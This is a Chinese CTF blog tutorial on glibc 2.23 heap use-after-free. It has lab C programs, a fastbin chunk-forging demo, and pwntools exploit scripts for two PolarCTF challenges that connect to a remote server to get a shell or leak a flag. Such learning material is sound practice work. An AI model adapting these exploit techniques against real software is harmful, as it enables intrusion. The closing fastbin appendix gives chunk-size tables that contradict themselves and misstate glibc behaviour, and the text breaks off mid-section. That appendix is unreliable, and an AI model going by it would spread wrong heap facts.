PWN堆UAF

• UAF漏洞，全名为use after free漏洞，即在堆在free之后再进行使用。
• 在看本篇博客之前，先准备好Docker和Docker中ubuntu16.04的版本镜像(其对应glib版本是2.23)，并下载好gdb。
  • 如果有办法下载pwndbg这个插件尽量在镜像中下载，pwndbg对于调试堆块还是很友好的
  • 堆这块重要的是实验，所以能有环境就尽量使用环境，能更好的理解堆。（光看理论只能对堆了解个大概，真正的还是要通过实验和题目去理解）
  • 可以看这篇博客，这里面有完整的dockerfile，直接使用Dockerfile就可以一键部署ubuntu16.04的环境在2024年如何成功搭建Ubuntu 16.04的pwn环境 - roderick - record and learn! (roderickchan.cn)
  • 直接使用命令docker run -it --rm roderickchan/debug_pwn_env:16.04-2.23-0ubuntu11.3-20240412
  • 或者先拉取镜像sudo docker pull roderickchan/debug_pwn_env:16.04-2.23-0ubuntu11.3-20240412
• 这里归纳一下要使用Docker的命令

docker pull ubuntu:16.04						 # 使用Docker命令拉取ubuntu16.04的镜像
docker run -d -p 主机端口:容器端口 ubuntu:16.04		# 使用Docker命令在后台启动ubuntu16.04的容器，并进行端口映射，这样在本地调试不了的话，使用宿主机的gdb进行远程调试（之前踩过坑）例如：docker run -d -p 8080:80 ubuntu:16.04
docker exec -it <container_id_or_name> /bin/bash  # 进入容器的终端交互模式
docker start <container_id_or_name>				 # 当创建一个容器后，容器关闭了，再次打开相应容器，使用该命令

前提介绍

• UAF是最常见的漏洞成因，有一些house of 打法都是由UAF造成的，所以要先学习UAF这个基础，才能学习打法
• 个人认为：基本漏洞成因：UAF 、off-by系列

漏洞原因

• 在堆管理机制中，调用free(*ptr)函数后，会将ptr所指向的那个chunk给释放掉，但是不会将ptr设置为NULL，这需要程序员编写代码手动设置为NULL
• 由于程序员的疏忽，没有将ptr的值设置为NULL，或者没有将ptr指向其他堆块。这就会导致可以再次利用该指针，对所释放的那个堆块内存进行一些操作

三种情况

• 内存块被释放后，其对应的指针被设置为NULL，然后再次使用，自然程序会崩溃
• 内存块被释放后，其对应的指针没有被设置为NULL，然后在它下一次被使用之前，没有代码对这块内存进行修改，那么程序很有可能可以正常运转
• 内存块被释放后，其对应的指针没有被设置为NULL，但是在它下一次使用之前，有代码对这块内存进行了修改，那么当程序再次使用这块内存时，就很有可能会出现奇怪的问题

故Use After Free漏洞名称就是字面意思，利用的就是后两种机制。一般称被释放后没有被设置为NULL的内存指针为：dangling pointer

示例程序

实验一

• 在宿主机写代码并编译即可（需要使用pwndbg插件），写完该段代码，编译后使用pwndbg插件进行动态调试
• 思考：
  • malloc传入参数是多少，就会分配多少的堆内存吗？会有分配的最小内存值吗？需要进行对齐操作吗？

#include<stdio.h>
#include<malloc.h>
#include<stdlib.h>
int main(){
        unsigned long long int * q = malloc(0x5);
        unsigned long long int * p = malloc(0x10);
        unsigned long long int * m = malloc(0x17);
        unsigned long long int * n = malloc(0x20);
        unsigned long long int * i = malloc(0x28);
        int a = 1;
        int b = 2;
        int c = 3;
        c = a + b;

        return 0;
}
#  gcc lab_1.c -g -o lab_1

分析1

• 先动态调试将程序执行到该处

• 然后使用heap命令查看堆块，发现了当malloc参数分别为0x5、0x10、0x17的时候分配得到的堆都是0x20，
• 当malloc参数为0x20、0x28的时候分配得到的都是0x30

• 这是因为当我们申请一个堆块且申请的堆块比较小的时候，使用中的chunk数据结构如下
  • 这里看到chunk需要占用而外的0x10字节去存储previous_size、size
  • 同时chunk在使用的时候previous_size是不存数据的，这样就可以通过空间复用将该内存给上一个正在使用的chunk保存数据

• 而当空闲时的堆块数据结构如下

• 为了能保证空闲时堆能存储其数据结构，所以使用malloc申请空间时最小都要保证previous_size、size、fd、bk要有内存。而在64位中这些类型的变量大小均为8字节，所以他们就会占用0x20的空间。故当使用malloc函数申请的内存小于一定程度时会默认分配0x20大小的堆块，最后在64位计算机上，申请的堆块要与0x10对齐（32位计算机是与0x8对齐）
• 所以当我们malloc参数分别为0x5、0x10、0x17
  • 申请0x5时，要使用chunk：0x5+0x10-0x8 =0xD要与0x10对齐所以结果为0x10，但是0x10的空间又不够存储 previous_size、size、fd、bk。故malloc会分配0x20字节的空间
    • 其中加上0x10chunk在使用时有previous_size、size
    • 减去0x8是因为向下一个chunk“借”了0x8个字节

分析2

• 当我使用malloc函数申请了0x20的字节为什么使用中的chunk的大小是0x30
• 安装分析1的方法计算0x20 + 0x10 - 0x8 = 0x28与0x10对齐，故得到的是0x30的块大小

• 申请0x28也是一样的

• 总结：

  • 当计算用户申请的堆块大小m有m + 0x10 -0x8对齐0x10最后结果小于或等于0x20的时候，系统自动分配0x20的内存
  • 当计算用户申请的堆块大小m有m + 0x10 -0x8对齐0x10最后结果大于0x20，内存按计算的结果分配

实验二

• 该实验的环境是在glibc2.23即ubuntu16.04版本下自带的环境
• 思考一下为什么会出现这个问题：
  • 注意：fast_bins、malloc(0x10)是否真的分配0x10的空间、chunk在使用时的数据结构、chunk在空闲时的数据结构、如何伪造堆块。

#include<stdio.h>
#include<string.h>
#include<malloc.h>
#include<stdlib.h>
unsigned long long target[100];
int main()
{
        unsigned long long *p = malloc(0x10);
        free(p);
        p[0]= target;
        target[0] = 0;
        target[1] = 0x21;
        malloc(0x10);
        char *q = malloc(0x10);
        memcpy(q,"hello",6);
        printf("%s\n",&target[2]);
        return 0;
}
# gcc lab_1.c -g
# 输出结果：hello

分析1

• 这里malloc(0x10)实际分配多少内存空间不做介绍了。可以看到申请的堆地址为0xff5010,记下该地址
• 接下来分析一下malloc与free之后的

• 当free(p)之后，p所使用的内存空间被释放了，但是p值仍是之前申请的内存空间地址，并没有被置NULL

• 并且根据堆块的大小，被释放的chunk，被fast_bins管理着，但由于p没有被置NULL，所以他还是指向该位置（这与malloc的返回值有关）
  • 由于是第一次malloc，因此前一个 chunk 不存在或正在使用，P 位应为 1，所以size是0x21而不是0x20
  • 由于P标志位，为1，那么Prev_size的值要为0或未使用
  • ptmalloc分配的第一个块总是将p设置为1，以防止程序引用到不存在的区域
  • 还是要值得注意一点：p标准位表示当前堆块的前一个堆块是否空闲，1表示在使用，0表示空闲，如果空闲chunk就会与其他p标志位为0的堆块合并。但是，当free一个堆块的时候，如果该堆块被fastbin管理，那么他的后一个堆块的p标志位仍然为1，并不会被合并

分析2

• 使用target伪造堆块

p[0]= target;
target[0] = 0;
target[1] = 0x21;

• 修改空闲堆块中的Fd指针，使其指向target。
• 然后修改target的第一个8字节，即伪造Prev_size
• 伪造第二个8字节即sizeof = 0x21,0x20是表示chunk大小，最后一位的1表示P标志位。fast_bin链表就形成了这么一个链表

分析3

• 当申请一个相同大小的chunk时，即malloc(0x10)，这样就会将直接与fast_bin[0]连接的chunk块给申请回去
• 然后fast_bin[0]的管理如下

• 当char *q = malloc(0x10);时，fast_bin里面还有堆块（伪造的），这时也会被申请过来，并且malloc返回的地址为Fd的位置，然后写入数据时，从fd、bk、unused space、next_chunk_prev_size方向增长

• 知道了以上这些后,再查看接下来的代码，就知道为什么程序编译执行后会输出hello了

memcpy(q,"hello",6);
printf("%s\n",&target[2]);

UAF利用方法

题目1—level_1

• 来源：PolarCTF2023秋季个人挑战赛，题目名称：heap_Easy_Uaf

• 题目附件：下载:https://wwsq.lanzoue.com/iI8DK29800xi 密码:6fh1

• 题目靶场：https://www.polarctf.com/#/page/challenges

分析

• 先使用file命令查看附件的信息
• 发现是64位的ELF文件，动态链接

• 再使用checksec命令查看保护机制
• 开启了Canary和NX保护

• 接下来试着运行一下程序，发现是典型菜单题目

• 将该程序拖入IDA，进行反编译查看，接下来是查看过程

• 对于Add、Del、Edit、Pri是基本的增、删、改、输出。这些找不到漏洞

  • Add申请指定大小的堆块，并可以写入相应大小的内容
  • Del释放堆块，并将指向堆的指针置0
  • Edit修改堆块，修改指定堆块的内容只能修改0x20字节
  • Pri打印堆块，输出指定堆块里面的内容

• 但是对于Are这个我们还是不太清楚什么功能，进行仔细的查看、

  • 发现题目直接给了shell
  • 然后题目存在uaf漏洞，释放完a指向堆块后并没有置NULL，但是里面的Flag字串会被改变

利用

• 当释放a指向的chunk时，由于是glibc2.23，该chunk会被fast_bin所管理

• 当我们再申请一个堆时，ptmalloc会检查申请堆块大小和管理的堆块大小是否一致，如果一致那么就会将前面释放的堆块拿来用。这样b所指向的堆块和先前a所指向的堆块就是同一个堆块
• 这时我们再编辑堆块b为Flag这样就可以getshell
• 完整exp如下：

from pwn import *
#p = process('./level_1_uaf')
p = remote('120.46.59.242',2079)
p.sendlineafter(b'Please Choice!\n',str(5).encode('utf-8'));
p.sendlineafter(b'Please Input Chunk size :\n',str(0x68).encode('utf-8'))
p.sendafter(b'Please Input Content : \n',b'Flag')
p.interactive()

题目2—level_2

• 来源：PolarD&N (polarctf.com)，pwn题，简单部分，ezuaf
• 附件：https://wwsq.lanzoue.com/i6LSk29wbkyj 密码:ebch

分析

• 下载附件后发现就一个附件，先来检查一下该附件的保护机制。

• 然后拖入IDA对该程序进行分析，先看到main函数，发现是一个经典的菜单题目。接下来先看看菜单

• 菜单如下，Read是读文件，Malloc是申请堆块，Print是打印堆块内容
  • 主要就是看Read函数，其他两个函数就是malloc和printf函数，基本上没啥复杂的
  • 在main函数调用Read函数之前会叫你先输入文件名

• 而Read函数主要部分如下，剩下没有在图片上的部分都是错误处理，现在简单说一下
  • 先打开指定文件名的文件，然后读取文件里面的内容
  • 使用malloc函数申请文件大小的堆块，将该堆块的地址存放到buffer中
  • 然后再文件里面的内容存放到堆块中
  • 最后释放buffer这个堆块，但是这边free后没有把buffer置0（这里存在uaf漏洞，但是这题与uaf漏洞关系不大，主要了解堆块的运行机制）

利用

• 如果对ptmalloc堆管理器有大致了解，当申请堆块内存在一定范围内的时候，在free后空闲的堆块就会被bin管理起来。当我们再申请与之前堆块大小相同的堆后，ptmalloc堆管理器就会先检查bin，从bin找出合适的空闲堆块
• 利用这种机制，我们可以先打开flag文件，将flag保存在堆中，然后再申请与原来文件大小相同的堆块，申请的堆块是原来被释放的堆块，此时内存数据还没被清除，这样再使用print就可以将flag的值打印出来了
• 但是这里我们并不知道要申请多大的堆块，这时我们只能对堆块的大小进行爆破
• exp:

from pwn import *
import time
context(log_level = 'debug')

def red():
    p.sendlineafter(b'[+] 3.Print\n',b'1')
    p.sendlineafter(b'[+] Input FileName : \n',b'flag')

def malloc(size):
    p.sendlineafter(b'[+] 3.Print\n', b'2')
    p.sendlineafter(b'[+] Input Size : \n',str(size).encode('utf-8'))

def prit():
    p.sendlineafter(b'[+] 3.Print\n', b'3')

for i in range(1,100):
    p = remote('120.46.59.242', 2126)
    red()
    malloc(i*10)
    prit()
    a = p.recvuntil(b'[+] 1.Read')
    if b'flag' in a:
        print(a)
        break

• 最后爆破出来要申请堆块的大小为560字节

题目3—level3

• 题目来源：ctf—wiki
• 题目附件：

附加

• 对与fast_bin的详细学习，目前都是学glibc2.23版本下的

• fast_bin 是一个数组，每个数组元素存储一个大小范围内的空闲 chunk 链表。

  • fast_bin介绍不同大小的 chunk 会存储在不同的 fast_bin 位置（即不同的数组元素）中。因此，一个 fast_bin 只能存放同一大小的 chunk。

  • 数组元素数量:不论32位还是64位 fast_bin 数组总共有 10 个元素。 每个 fast_bin 数组元素对应一种特定大小的 chunk 链表，因此，整个 fast_bin 数组可以存储 10 个不同大小的空闲 chunk 链表。

  • 链表管理fast_bin 是一个数组，每个数组元素指向一个链表头，这个链表中的每个节点（chunk）都具有相同的大小。链表以 LIFO（Last In, First Out）的方式组织，新的 chunk 被释放时会加入链表的头部。fast_bin链表可以存放任意多的相同大小的空闲 chunk，直到系统内存耗尽或程序运行出现其他问题。

  • 最小的 chunk 大小: 16 字节。

    最大的 chunk 大小: 80 字节（不含 0x50 的头部大小）。

    注意：这里的16字节到80字节在32位程序中的记录是不一样的，32位程序记录的有包括（chunk本身的大小和用户数据）

    ​ 而64位的只包括用户使用的数据，所以在判断一个堆块是否会被放入fastbin，32位程序和64位程序是的判断机制是有区 别的

  • 这里详细说明一下

  • 32位对应的 fast_bin 数组的大小范围为：

    • fast_bin[0]：管理大小为 16 字节 的 chunk（即 0x20 大小，包括头部）。

      fast_bin[1]：管理大小为 24 字节 的 chunk（即 0x30 大小，包括头部）。

      fast_bin[2]：管理大小为 32 字节 的 chunk（即 0x40 大小，包括头部）。

      fast_bin[3]：管理大小为 40 字节 的 chunk（即 0x50 大小，包括头部）。

      fast_bin[4]：管理大小为 48 字节 的 chunk（即 0x60 大小，包括头部）。

      fast_bin[5]：管理大小为 56 字节 的 chunk（即 0x70 大小，包括头部）。

      fast_bin[6]：管理大小为 64 字节 的 chunk（即 0x80 大小，包括头部）。

      fast_bin[7]：管理大小为 72 字节 的 chunk（即 0x90 大小，包括头部）。

      fast_bin[8]：管理大小为 80 字节 的 chunk（即 0xA0 大小，包括头部）。

      fast_bin[9]：管理大小为 88 字节 的 chunk（即 0xB0 大小，包括头部）。

    • 以此类推，直到 fast_bin[9]，它存储 80 字节的 chunk（0x50 大小，包括头部）。

    • 这里会有疑问：按照递增来说fast_bin[9]应该是存储0x110字节的chunk，但是由于fastbin的特性，只能是存储最大的chunk为0x50

  • 64位对应fast_bin数组管理堆块的对应范围

    • fastbin[0]：管理 16 字节的块（实际用户数据为 0 字节，最小的有效块）。

      fastbin[1]：管理 24 字节的块（用户数据为 8 字节）。

      fastbin[2]：管理 32 字节的块（用户数据为 16 字节）。

      fastbin[3]：管理 40 字节的块（用户数据为 24 字节）。

      fastbin[4]：管理 48 字节的块（用户数据为 32 字节）。

      fastbin[5]：管理 56 字节的块（用户数据为 40 字节）。

      fastbin[6]：管理 64 字节的块（用户数据为 48 字节）。

      fastbin[7]：管理 72 字节的块（用户数据为 56 字节）。

      fastbin[8]：管理 80 字节的块（用户数据为 64 字节）。

      fastbin[9]：管理 88 字节的块（用户数据为 72 字节）。

  • 其他情况：